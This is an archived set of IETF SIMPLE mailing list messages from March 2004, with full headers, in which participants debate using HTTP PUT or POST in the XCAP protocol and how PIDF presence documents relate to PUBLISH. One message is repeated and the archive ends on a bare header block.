Message-Id: <p06020406bc73cd36481d@[129.46.227.161]>
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
 <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Dean Willis <dean.willis@softarmor.com>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: [Simple] PUT vs POST in XCAP
Cc: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 11:57:04 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 3:20 AM -0500 03/09/2004, Jonathan Rosenberg wrote:
>This is a debate we went through last June (I think) during the 
>initial design phases of xcap. There were a few arguments against a 
>POST mechanism:
>
>1. is a tell-tale sign that you are really not using http, but 
>rather, tunnelling some other protocol through http, which is a 
>no-no (ftp://ftp.rfc-editor.org/in-notes/rfc3205.txt)
>
>2. The vast majority of the cases, the xcap operations really WERE 
>GET and PUT, tunneling these over POST would just result in 
>effectively tunneling http over http.
>

I agree with Jonathan here, but I would put it slightly differently. 
We started
from a point where the easy method for updating a buddy list was downloading
the buddy list to the client, making the changes, and uploading the
new version to the server.  This is very much core GET and PUT stuff (or
WEBDAV stuff, if you want the locking elements of WEBDAV).

We wanted to optimize this transaction so that small changes did not
require expensive over-the-air downloads and uploads; to do that, we
considered using something like XPATH to reference document internals.
Given the complexity of XPATH, we agreed instead to limit the
use cases for XCAP to data which could be structured hierarchically.
That allowed us to treat sub-elements as independent resources, and
to use GET and PUT to update single sub-elements without incurring
the costs of the over the air download.  As a side benefit, it allowed
us to use well-understood, existing methods and gave an upgrade
path to the use of full WebDAV semantics if that became desirable
or necessary (e.g. using locks or PROPPATCH).

I still believe that is the core of the XCAP work.  We are beginning to
see a few stresses, however, as new use cases are found.  Use cases
which are very closely related to the configuration work done by
XCAP look like a natural fit, but we have to be careful that we don't
stretch XCAP too far.  As originally conceived, it's more-or-less a description
of how to use base HTTP methods with a particular set of resources; as we add
semantics beyond that, we risk needing new HTTP methods or
other handling mechanisms.  Those can be added if needed, but they
reduce the interoperability with existing HTTP implementations.
Rather than heading in that direction, it may be better to reduce
the scope of XCAP to its core functionality and let other extensions
create those semantics.

Creating mechanisms that are essentially new methods but implementing
them through POST is a bad long-term idea.  POST is designed to be
specific to a particular context (a form being filled in, essentially)
and trying to ensure that it has long term context turns out to be very
hard.  One of the HTTP wg members (sorry, forgotten who) used
to call it the "magic happens" method, in honor of an old cartoon
which showed carefully drawn flow charts for a set of actions, with
one box labelled "magic happens" that covered all the icky bits.
As tempting as it is, it turns out to be very hard to ensure that the
same magic happens every time, everywhere.

Just my two cents,

				regards,
					Ted Hardie




>To a large degree, the perspective depends on how much you think 
>that server computed data is going to be a piece of the xcap puzzle. 
>My view is that this was really an exception to the general xcap 
>case, which had client managing data resident on a server. Right 
>now, across all of the applications we have discussed, the one, and 
>only one case for server computed data is to compute a URI 
>associated with a resource, whether thats a conference (in the case 
>of CPCP), or its a buddy list (in the case of resource lists). As 
>such, xcap is optimized for the case where the vast majority of the 
>protocol is worrying about direct modification of data (put/delete). 
>I do not think we want to turn xcap into a general protocol for 
>having servers fill in arbitrary data for different apps.
>
>That said, assuming Dean's assessment of apache operation is correct 
>(can someone verify that PUT works this way? I always thought one 
>could write a servlet that handles PUT...), this would pose a 
>problem. A key goal of XCAP is that it was easily built on existing 
>servers and existing wireless clients. If people know of reasons why 
>this goal has not been met, we should explore that.
>
>A possible solution to this issue is to cleanly separate the URI 
>allocation from the manipulation. We could define a separate piece 
>of the protocol (POST based, perhaps), which has the server allocate 
>the URI to the client. Once allocated, the client would PUT the 
>entire document with that URI filled in. In this way, the data 
>manipulation is using PUT/DELETE and is separated from the server 
>computation.
>
>This still requires two round trips to create a list. That seemed to 
>give people a LOT of heartburn, but I dont think its an optimization 
>we need to worry about that much. None of these operations are 
>latency sensitive; at least, not to the point where one round trip 
>vs. two really makes a difference. Furthermore, we are talkign only 
>about the creation of the list/conference, which is not likely to be 
>that frequent of an event. Thus, I dont see a bandwidth issue per se 
>either.
>
>-Jonathan R.
>
>
>
>Dean Willis wrote:
>
>>Niemi Aki (Nokia-M/Espoo) wrote:
>>
>>>Although I'm all for having discussion on this topic, I'd like to see
>>>the counterproposal. What goes in the POST body? What then? It's really
>>>hard to argue against imagineware...
>>
>>
>>Basically, the same thing that goes in a PUT body now, but framed 
>>out as  an argument set. One approach might be to make it a text 
>>field in a form.
>>
>>>
>>>>Certainly it would be much easier to build an XCAP implementation 
>>>>on Apache's HTTPD using a POST interface than it would using a 
>>>>PUT interface.
>>>
>>>
>>>
>>>Could you elaborate? For example, does the CGI interface not give access
>>>to the body of a PUT? What's the problem exactly?
>>
>>
>>I'm not an expert on Apache internals, although I have been 
>>building web sites with it for ten years or so. As I understand it, 
>>PUT requests are interpreted by the WebDAV module (or by the basic 
>>web posting module if you don't have the WebDAV module) and 
>>literally results in writing a file to the file system. Nothing 
>>gets "triggered" when this happens, no magic application gets 
>>invoked to go do things like assign a conference number and update 
>>the etag, or anything like that. The data just sits there in a 
>>file. To implement the current XCAP model, you'd have to write some 
>>magic filesystem-monitoring daemon that notices the file has 
>>changed, locks it, reads it, and writes it back with new etags. 
>>This makes for 1) a lot of polling the filesystem for changes, and 
>>2) really wicked locking problems between writes-from-apache and 
>>writes-from-the-magic-daemon to the data. There's probably a more 
>>clever way to do it, but it's going to be moderately painful in any 
>>case.
>>
>>Compare this to the POST interface: the server hands the request 
>>off to the appropriate script-handler, which executes program logic 
>>on the request. Typically, the body of the request is passed into 
>>the handler, which parses, validates, and does something useful 
>>with that data.
>>
>>In the most-like today's XCAP case, the handler would parse the 
>>request to determine the correct XCAP resource, parse out the 
>>specifier to get to the right place in the XML document, lock and 
>>rewrite the XML document (remember, this is a sequential text 
>>file), return a copy of the XML document with a new etag, then IPC 
>>notify the list server daemon about the change so that it could 
>>re-read, validate, and revise (for example, assign a conference 
>>URI) the resource and notify subscribers of changes.
>>
>>If one can abandon the current convoluted XCAP update model (which 
>>writes the data BEFORE validating it), I think a much cleaner 
>>process happens if the script-handler validates the input, locks 
>>the resource, applies any needed transformation (like adding a 
>>conference URI), writes the resource, and returns the revised 
>>resource and its new etag to the POSTer, then IPC-notifies the list 
>>server.
>>
>>This approach would appear relatively easy to implement in a Perl 
>>or PHP script invoked by the cgi-bin interface in Apache.  In fact, 
>>other than the xml processing, it's no harder than the scripts I 
>>use to run the softarmor web site. This is substantially easier to 
>>deal with (using my antquated skills, at least) than something that 
>>requires me to break out the compiler and write a new Apache 
>>dynamically loaded module that intercepts PUT requests.
>>
>>--
>>dean
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
>
>--
>Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
>Chief Technology Officer                    Parsippany, NJ 07054-2711
>dynamicsoft
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com
>
>_______________________________________________
>Simple mailing list
>Simple@ietf.org
>https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 15:01:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18361
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 15:01:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nPL-0007Fm-Ru
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 15:00:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29K0tFq027863
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 15:00:55 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nPL-0007FE-1s
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 15:00:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18319
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 15:00:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nPH-0000i6-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:00:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nOR-0000YG-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:00:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nNX-0000OK-00; Tue, 09 Mar 2004 14:59:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nNV-0005TS-OJ; Tue, 09 Mar 2004 14:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nNN-0005T7-6U
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:58:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18200
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:58:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nNK-0000MD-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:58:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nMO-0000CU-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:57:53 -0500
Received: from ithilien.qualcomm.com ([129.46.51.59])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nLl-000037-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:57:13 -0500
Received: from crowley.qualcomm.com (crowley.qualcomm.com [129.46.61.151])
	by ithilien.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29Jv8vf020494;
	Tue, 9 Mar 2004 11:57:09 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by crowley.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29Jv6Vl000529;
	Tue, 9 Mar 2004 11:57:06 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id: <p06020406bc73cd36481d@[129.46.227.161]>
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
 <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Dean Willis <dean.willis@softarmor.com>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: [Simple] PUT vs POST in XCAP
Cc: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 11:57:04 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 3:20 AM -0500 03/09/2004, Jonathan Rosenberg wrote:
>This is a debate we went through last June (I think) during the 
>initial design phases of xcap. There were a few arguments against a 
>POST mechanism:
>
>1. is a tell-tale sign that you are really not using http, but 
>rather, tunnelling some other protocol through http, which is a 
>no-no (ftp://ftp.rfc-editor.org/in-notes/rfc3205.txt)
>
>2. The vast majority of the cases, the xcap operations really WERE 
>GET and PUT, tunneling these over POST would just result in 
>effectively tunneling http over http.
>

I agree with Jonathan here, but I would put it slightly differently. 
We started
from a point where the easy method for updating a buddy list was downloading
the buddy list to the client, making the changes, and uploading the
new version to the server.  This is very much core GET and PUT stuff (or
WEBDAV stuff, if you want the locking elements of WEBDAV).

We wanted to optimize this transaction so that small changes did not
require expensive over-the-air downloads and uploads; to do that, we
considered using something like XPATH to reference document internals.
Given the complexity of XPATH, we agreed instead to limit the
use cases for XCAP to data which could be structured hierarchically.
That allowed us to treat sub-elements as independent resources, and
to use GET and PUT to update single sub-elements without incurring
the costs of the over the air download.  As a side benefit, it allowed
us to use well-understood, existing methods and gave an upgrade
path to the use of full WebDAV semantics if that became desirable
or necessary (e.g. using locks or PROPPATCH).

I still believe that is the core of the XCAP work.  We are beginning to
see a few stresses, however, as new use cases are found.  Use cases
which are very closely related to the configuration work done by
XCAP look like a natural fit, but we have to be careful that we don't
stretch XCAP too far.  As originally conceived, it's more-or-less a description
of how to use base HTTP methods with a particular set of resources; as we add
semantics beyond that, we risk needing new HTTP methods or
other handling mechanisms.  Those can be added if needed, but they
reduce the interoperability with existing HTTP implementations.
Rather than heading in that direction, it may be better to reduce
the scope of XCAP to its core functionality and let other extensions
create those semantics.

Creating mechanisms that are essentially new methods but implementing
them through POST is a bad long-term idea.  POST is designed to be
specific to a particular context (a form being filled in, essentially)
and trying to ensure that it has long term context turns out to be very
hard.  One of the HTTP wg members (sorry, forgotten who) used
to call it the "magic happens" method, in honor of an old cartoon
which showed carefully drawn flow charts for a set of actions, with
one box labelled "magic happens" that covered all the icky bits.
As tempting as it is, it turns out to be very hard to ensure that the
same magic happens every time, everywhere.

Just my two cents,

				regards,
					Ted Hardie




>To a large degree, the perspective depends on how much you think 
>that server computed data is going to be a piece of the xcap puzzle. 
>My view is that this was really an exception to the general xcap 
>case, which had client managing data resident on a server. Right 
>now, across all of the applications we have discussed, the one, and 
>only one case for server computed data is to compute a URI 
>associated with a resource, whether thats a conference (in the case 
>of CPCP), or its a buddy list (in the case of resource lists). As 
>such, xcap is optimized for the case where the vast majority of the 
>protocol is worrying about direct modification of data (put/delete). 
>I do not think we want to turn xcap into a general protocol for 
>having servers fill in arbitrary data for different apps.
>
>That said, assuming Dean's assessment of apache operation is correct 
>(can someone verify that PUT works this way? I always thought one 
>could write a servlet that handles PUT...), this would pose a 
>problem. A key goal of XCAP is that it was easily built on existing 
>servers and existing wireless clients. If people know of reasons why 
>this goal has not been met, we should explore that.
>
>A possible solution to this issue is to cleanly separate the URI 
>allocation from the manipulation. We could define a separate piece 
>of the protocol (POST based, perhaps), which has the server allocate 
>the URI to the client. Once allocated, the client would PUT the 
>entire document with that URI filled in. In this way, the data 
>manipulation is using PUT/DELETE and is separated from the server 
>computation.
>
>This still requires two round trips to create a list. That seemed to 
>give people a LOT of heartburn, but I dont think its an optimization 
>we need to worry about that much. None of these operations are 
>latency sensitive; at least, not to the point where one round trip 
>vs. two really makes a difference. Furthermore, we are talkign only 
>about the creation of the list/conference, which is not likely to be 
>that frequent of an event. Thus, I dont see a bandwidth issue per se 
>either.
>
>-Jonathan R.
>
>
>
>Dean Willis wrote:
>
>>Niemi Aki (Nokia-M/Espoo) wrote:
>>
>>>Although I'm all for having discussion on this topic, I'd like to see
>>>the counterproposal. What goes in the POST body? What then? It's really
>>>hard to argue against imagineware...
>>
>>
>>Basically, the same thing that goes in a PUT body now, but framed 
>>out as  an argument set. One approach might be to make it a text 
>>field in a form.
>>
>>>
>>>>Certainly it would be much easier to build an XCAP implementation 
>>>>on Apache's HTTPD using a POST interface than it would using a 
>>>>PUT interface.
>>>
>>>
>>>
>>>Could you elaborate? For example, does the CGI interface not give access
>>>to the body of a PUT? What's the problem exactly?
>>
>>
>>I'm not an expert on Apache internals, although I have been 
>>building web sites with it for ten years or so. As I understand it, 
>>PUT requests are interpreted by the WebDAV module (or by the basic 
>>web posting module if you don't have the WebDAV module) and 
>>literally results in writing a file to the file system. Nothing 
>>gets "triggered" when this happens, no magic application gets 
>>invoked to go do things like assign a conference number and update 
>>the etag, or anything like that. The data just sits there in a 
>>file. To implement the current XCAP model, you'd have to write some 
>>magic filesystem-monitoring daemon that notices the file has 
>>changed, locks it, reads it, and writes it back with new etags. 
>>This makes for 1) a lot of polling the filesystem for changes, and 
>>2) really wicked locking problems between writes-from-apache and 
>>writes-from-the-magic-daemon to the data. There's probably a more 
>>clever way to do it, but it's going to be moderately painful in any 
>>case.
>>
>>Compare this to the POST interface: the server hands the request 
>>off to the appropriate script-handler, which executes program logic 
>>on the request. Typically, the body of the request is passed into 
>>the handler, which parses, validates, and does something useful 
>>with that data.
>>
>>In the most-like today's XCAP case, the handler would parse the 
>>request to determine the correct XCAP resource, parse out the 
>>specifier to get to the right place in the XML document, lock and 
>>rewrite the XML document (remember, this is a sequential text 
>>file), return a copy of the XML document with a new etag, then IPC 
>>notify the list server daemon about the change so that it could 
>>re-read, validate, and revise (for example, assign a conference 
>>URI) the resource and notify subscribers of changes.
>>
>>If one can abandon the current convoluted XCAP update model (which 
>>writes the data BEFORE validating it), I think a much cleaner 
>>process happens if the script-handler validates the input, locks 
>>the resource, applies any needed transformation (like adding a 
>>conference URI), writes the resource, and returns the revised 
>>resource and its new etag to the POSTer, then IPC-notifies the list 
>>server.
>>
>>This approach would appear relatively easy to implement in a Perl 
>>or PHP script invoked by the cgi-bin interface in Apache.  In fact, 
>>other than the xml processing, it's no harder than the scripts I 
>>use to run the softarmor web site. This is substantially easier to 
>>deal with (using my antquated skills, at least) than something that 
>>requires me to break out the compiler and write a new Apache 
>>dynamically loaded module that intercepts PUT requests.
>>
>>--
>>dean
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
>
>--
>Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
>Chief Technology Officer                    Parsippany, NJ 07054-2711
>dynamicsoft
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com
>
>_______________________________________________
>Simple mailing list
>Simple@ietf.org
>https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 15:06:50 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18988
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 15:06:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nV5-0001mP-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 15:06:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nUE-0001cJ-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 15:05:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nTM-0001SM-00; Tue, 09 Mar 2004 15:05:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nTL-0002Yd-SV; Tue, 09 Mar 2004 15:05:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nST-0002Db-88
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 15:04:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18590
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:04:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nSQ-0001Hb-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:04:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nRf-00016q-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:03:20 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nQW-0000jz-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:02:08 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i29K1cfX010321
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:01:38 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 9 Mar 2004 13:56:46 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYNK08P>; Tue, 9 Mar 2004 14:01:12 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95EC@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 09 Mar 2004 19:56:46.0375 (UTC) FILETIME=[A6F84B70:01C40610]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 14:00:26 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60

> What if a user changes other  soft tuples with XCAP.
> 
> It is my understanding that they cannot.
> 
> This is enforced because the presence documents published through 
> PUBLISH are simply not reflected into the xcap hierarchy.
> 
> >  
> > Will the server allow that?
> 
> No.

The current scope of the PIDF manipluation using XCAP is the entire PIDF XML document as well as presence extensions. There is nothing in the draft that says otherwise.
As far as PUBLISH is concerned, the draft 03 explitly says that the content type for a published presence event is the PIDF presence document.

Doesn't that imply that the indeed, per the current draft, published documents for presence events are indeed reflected in the xcap hierarchy, or have I missed something ?

And one more thing, all applications using XCAP should have the XML schema included in the usage draft for consistency and completness.
The list usage application had them there, the CPCP (XCON) were instructed to do. In this case they are not.

> 
> >  
> > Where in your draft you explain/discuss  how to handle those cases?
> >  
> > And what are the tuples in PIDF and other extensions that you 
> > consider *hard state* tuples.
> 
> That is a good question. I tend to think that a "hard state" document 
> would usually have a tuple representing the presentity 
> (contact-type = 
> presentity), and have rpid elements like <vacation> that apply to the 
> presentity and not a particular device.
> 
> Do we need to MANDATE that the hard state document is 
> constructed this 
> way? I dont think so, but thats certainly a point worth discussing.

If events that are published through PUBLISH, have an xcap hierarchy and can be changed through XCAP, then we will have further issues with versioning and the current usage of e-tags in XCAP and PUBLISH 
> 
> -Jonathan R.
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 15:07:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19075
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 15:07:21 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nV8-0003dg-T5
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 15:06:54 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29K6s0q013982
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 15:06:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nV8-0003dR-Oq
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 15:06:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19000
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 15:06:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nV5-0001mV-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:06:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nUF-0001cQ-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:06:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nTM-0001SM-00; Tue, 09 Mar 2004 15:05:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nTL-0002Yd-SV; Tue, 09 Mar 2004 15:05:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nST-0002Db-88
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 15:04:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18590
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:04:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nSQ-0001Hb-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:04:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nRf-00016q-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:03:20 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nQW-0000jz-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:02:08 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i29K1cfX010321
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:01:38 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 9 Mar 2004 13:56:46 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYNK08P>; Tue, 9 Mar 2004 14:01:12 -0600
